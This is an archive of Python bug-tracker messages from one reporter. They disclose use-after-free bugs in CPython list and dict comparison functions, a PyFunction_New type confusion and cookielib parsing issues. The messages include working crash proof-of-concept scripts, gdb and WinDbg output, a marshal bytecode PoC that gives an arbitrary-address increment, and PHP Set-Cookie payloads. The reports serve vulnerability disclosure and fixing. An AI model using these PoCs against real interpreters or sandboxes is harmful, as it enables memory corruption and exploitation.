[issue38588] Use-after-free in dict/list
New submission from LCatro : Code : The varanit bval forget call Py_INCREF to add reference in dict_equal() b->ma_keys->dk_lookup(b, key, ep->me_hash, &bval); <--- ... if (bval == NULL) { Py_DECREF(key); Py_DECREF(aval); if (PyErr_Occurred()) return -1; return 0; } cmp = PyObject_RichCompareBool(aval, bval, Py_EQ); PoC 1 : class poc() : def __eq__(self,other) : dict2.clear() return NotImplemented dict1 = {0:poc()} dict2 = {0:set()} dict1 == dict2 ## dict_equal() -> PyObject_RichCompareBool Crash Detail : (gdb) run ../python_poc_info/dict_poc_1.py The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/dict_poc_1.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0046e445 in do_richcompare (v=v@entry=0x77e767d0, w=w@entry=0x76dd88c0, op=op@entry=2) at Objects/object.c:725 725 if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) { == Code : The varanit wl->ob_item[i] forget call Py_INCREF to add reference in list_richcompare() for (i = 0; i < Py_SIZE(vl) && i < Py_SIZE(wl); i++) { int k = PyObject_RichCompareBool(vl->ob_item[i], wl->ob_item[i], Py_EQ); <--- PoC 2 : class poc() : def __eq__(self,other) : list1.clear() return NotImplemented list1 = [poc()] list2 = [1] list1 == list2 # list_richcompare() -> PyObject_RichCompareBool Crash Detail : (gdb) run ../python_poc_info/list_poc_1.py The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/list_poc_1.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0044bd07 in long_richcompare (self=0x961200 , other=0x77e767d0, op=2) at Objects/longobject.c:3083 3083CHECK_BINOP(self, other); == Code : The varanit PyList_GET_ITEM(a, i) forget call Py_INCREF to add reference in list_contains() list_contains(PyListObject *a, PyObject *el) { Py_ssize_t i; int cmp; for (i = 0, cmp = 0 ; cmp == 0 && i < Py_SIZE(a); ++i) cmp = PyObject_RichCompareBool(el, PyList_GET_ITEM(a, i), Py_EQ); < PoC 3 : class poc() : def __eq__(self,other) : list1.clear() return NotImplemented list1 = [ set() ] poc() in list1 # list_contains() -> PyObject_RichCompareBool Crash Detail : (gdb) run ../python_poc_info/list_poc_2.py Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/list_poc_2.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0046e445 in do_richcompare (v=v@entry=0x77e766e0, w=w@entry=0x76dd88c0, op=op@entry=2) at Objects/object.c:725 725 if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) { -- messages: 355366 nosy: LCatro, serhiy.storchaka priority: normal severity: normal status: open title: Use-after-free in dict/list type: security versions: Python 3.8 ___ Python tracker <https://bugs.python.org/issue38588> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue38610] use-after-free in list object function
New submission from LCatro : Code 1 : static PyObject * list_index_impl(PyListObject *self, PyObject *value, Py_ssize_t start, Py_ssize_t stop) // ... for (i = start; i < stop && i < Py_SIZE(self); i++) { int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ); <= self->ob_item[i] can uaf .. PoC : class rewrite_list_eq(list) : def __eq__(self,other) : str(other) # <== that will call the object recall function tp_repr and call it .. return NotImplemented class poc() : def __eq__(self,other) : list1.clear() return NotImplemented list1 = [ poc() ] list1.index(list1) # list_index_impl() -> PyObject_RichCompareBool() Crash Report : (gdb) run ../py_poc/list_poc_3.py The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_3.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. PyObject_Str (v=0x76e82d20) at Objects/object.c:573 573 if (Py_TYPE(v)->tp_str == NULL) = Code 2 : static PyObject * list_count(PyListObject *self, PyObject *value) { Py_ssize_t count = 0; Py_ssize_t i; for (i = 0; i < Py_SIZE(self); i++) { int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ); // <= PoC : class rewrite_list_eq(list) : def __eq__(self,other) : str(other) return NotImplemented class poc() : def __eq__(self,other) : list1.clear() return NotImplemented list1 = rewrite_list_eq([ poc() ]) list1.count(list1) # list_count() -> PyObject_RichCompareBool() Crash Report : (gdb) run ../py_poc/list_poc_4.py The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_4.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. PyObject_Str (v=0x76e82d20) at Objects/object.c:573 573 if (Py_TYPE(v)->tp_str == NULL) === Code 3 : static PyObject * list_remove(PyListObject *self, PyObject *value) /*[clinic end generated code: output=f087e1951a5e30d1 input=2dc2ba5bb2fb1f82]*/ { Py_ssize_t i; for (i = 0; i < Py_SIZE(self); i++) { Py_INCREF(self->ob_item[i]); int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ); PoC : class rewrite_list_eq(list) : def __eq__(self,other) : str(other) return NotImplemented class poc() : def __eq__(self,other) : list1.clear() return NotImplemented list1 = rewrite_list_eq([ poc() ]) list1.remove(list1) # list_count() -> PyObject_RichCompareBool() Crash Report : (gdb) run ../py_poc/list_poc_5.py Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_5.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. PyObject_Str (v=0x76e82d20) at Objects/object.c:573 573 if (Py_TYPE(v)->tp_str == NULL) -- components: Interpreter Core messages: 355513 nosy: LCatro, serhiy.storchaka priority: normal severity: normal status: open title: use-after-free in list object function type: crash versions: Python 3.8 ___ Python tracker <https://bugs.python.org/issue38610> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue38588] Use-after-free in dict/list
LCatro added the comment: Sure ,but how can i pull my fix code ? -- ___ Python tracker <https://bugs.python.org/issue38588> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue29825] PyFunction_New() not validate code object
New submission from LCatro: PyFunction_New() not validate code object ,so we can make a string object to fake code object This is Python ByteCode : LOAD_CONST '\x41\x41\x41\x41' MAKE_FUNCTION 0 in source code ,we can see that string object trace to variant v TARGET(MAKE_FUNCTION) { v = POP(); /* code object */ <= now it is a string object x = PyFunction_New(v, f->f_globals); <= using in there and than ,we making a string object will taking into PyFunction_New() PyFunction_New(PyObject *code, PyObject *globals) { PyFunctionObject *op = PyObject_GC_New(PyFunctionObject, &PyFunction_Type); static PyObject *__name__ = 0; if (op != NULL) { <= there just check new alloc object point but not checking the argument code's python type (actually it is TYPE_CODE) .. PyObject *doc; PyObject *consts; PyObject *module; op->func_weakreflist = NULL; Py_INCREF(code); op->func_code = code; Py_INCREF(globals); op->func_globals = globals; op->func_name = ((PyCodeObject *)code)->co_name; Py_INCREF(op->func_name); <= it will make an arbitrary address inc by one .. Opcode MAKE_CLOSURE similar too .. TARGET(MAKE_CLOSURE) { v = POP(); /* code object */ x = PyFunction_New(v, f->f_globals); poc and crash detail in update file -- components: Interpreter Core files: inc_by_one.rar messages: 289710 nosy: imso666 priority: normal severity: normal status: open title: PyFunction_New() not validate code object type: security versions: Python 2.7 Added file: http://bugs.python.org/file46728/inc_by_one.rar ___ Python tracker <http://bugs.python.org/issue29825> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue29825] PyFunction_New() not validate code object
LCatro added the comment: actually ,LOAD_CONST is taking an correct offset .I make a Python opcode compiler ,LOAD_CONST '\x41\x41\x41\x41' will conver to LOAD_CONST 1 .look back the poc ,it mean : LOAD_CONST 1 => Load a string object from co->consts to python stack MAKE_FUNCTION 0 => first ,python core will pop a object from python stack ,and than using this object to create a function so set a breakpoint at TARGET(MAKE_FUNCTION) v = POP(); /* code object */ <= now it is a string object x = PyFunction_New(v, f->f_globals); PyFunction_New(PyObject *code, PyObject *globals) <= now argument code is a string object not code object op->func_name = ((PyCodeObject *)code)->co_name; <= look there Py_INCREF(op->func_name) conver to assembly : 1e07e24e 8b4834 mov ecx,dword ptr [eax+34h] ... 1e07e254 ff01inc dword ptr [ecx] it mean ,if control data struct's offset 0x34 and it will conduct an arbitrarily address to inc Python string object's struct like this : |Python_Type|String_Length|String_Data| breakpoint at 0x1e07e24e ,look eax .. 0:000> dd eax 0204d2e0 0003 1e1d81f8 0024 c7554b90 0204d2f0 0001 43434343 43434343 43434343 0204d300 43434343 43434343 43434343 43434343 0204d310 43434343 41414141 68746100 00275f5f 0204d320 0204e408 0204d3e0 fffd 0204d330 0001 1e1dbb00 01fda968 01fe28a0 0204d340 0204b590 1e1d9824 01fb1760 0204d350 01feb2c0 01ff9930 so [eax+34h] point to 0x41414141 ,inc dword ptr [ecx] => inc dword ptr [0x41414141] i trigger this need compiler opcode to .pyc ,actually we can still trigger in .py ,this is poc : import marshal code=b'\x63\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x73\x0A\x00\x00\x00\x64\x01\x00\x84\x00\x00\x64\x00\x00\x53\x28\x02\x00\x00\x00\x4E\x73\x24\x00\x00\x00\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x41\x41\x41\x41\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x74\x00\x00\x00\x00\x73\x08\x00\x00\x00\x3C\x6D\x6F\x64\x75\x6C\x65\x3E\x01\x00\x00\x00\x74\x02\x00\x00\x00\x00\x01' poc=marshal.loads(code) exec(poc) -- ___ Python tracker <http://bugs.python.org/issue29825> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue33017] Special set-cookie setting will bypass Cookielib
New submission from LCatro : PoC (PHP Version): header('Set-Cookie: test=123; max-age=a'); // PoC 1 header('Set-Cookie: test=123; domain=;'); // PoC 2 header('Set-Cookie: test=123; version=a;'); // PoC 3 PoC 1 will trigger int() convert string to number from max-age (lib/cookielib.py:1429).I give this value a string ,it will make except try: v = int(v) # lib/cookielib.py:1429 except ValueError: _debug(" missing or invalid (non-numeric) value for " "max-age attribute") bad_cookie = True break # lib/cookielib.py:1434 PoC 2 is a domain None value (lib/cookielib.py:1412).Cookielib will discard current cookie record. if k == "domain": # lib/cookielib.py:1411 if v is None: # lib/cookielib.py:1412 _debug(" missing value for domain attribute") bad_cookie = True break # lib/cookielib.py:1415 PoC 3 will trigger a int() convert except(lib/cookielib.py:1472).Cookielib will discard current cookie record too. version = standard.get("version", None) # lib/cookielib.py:1469 if version is not None: try: version = int(version) # lib/cookielib.py:1472 except ValueError: return None # invalid version, ignore cookie There are PoCs involve urllib and requests library . Full Code Analysis (Chinese Version): https://github.com/lcatro/Python_CookieLib_0day -- components: Library (Lib) files: poc.php messages: 313370 nosy: LCatro priority: normal severity: normal status: open title: Special set-cookie setting will bypass Cookielib versions: Python 2.7 Added file: https://bugs.python.org/file47472/poc.php ___ Python tracker <https://bugs.python.org/issue33017> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com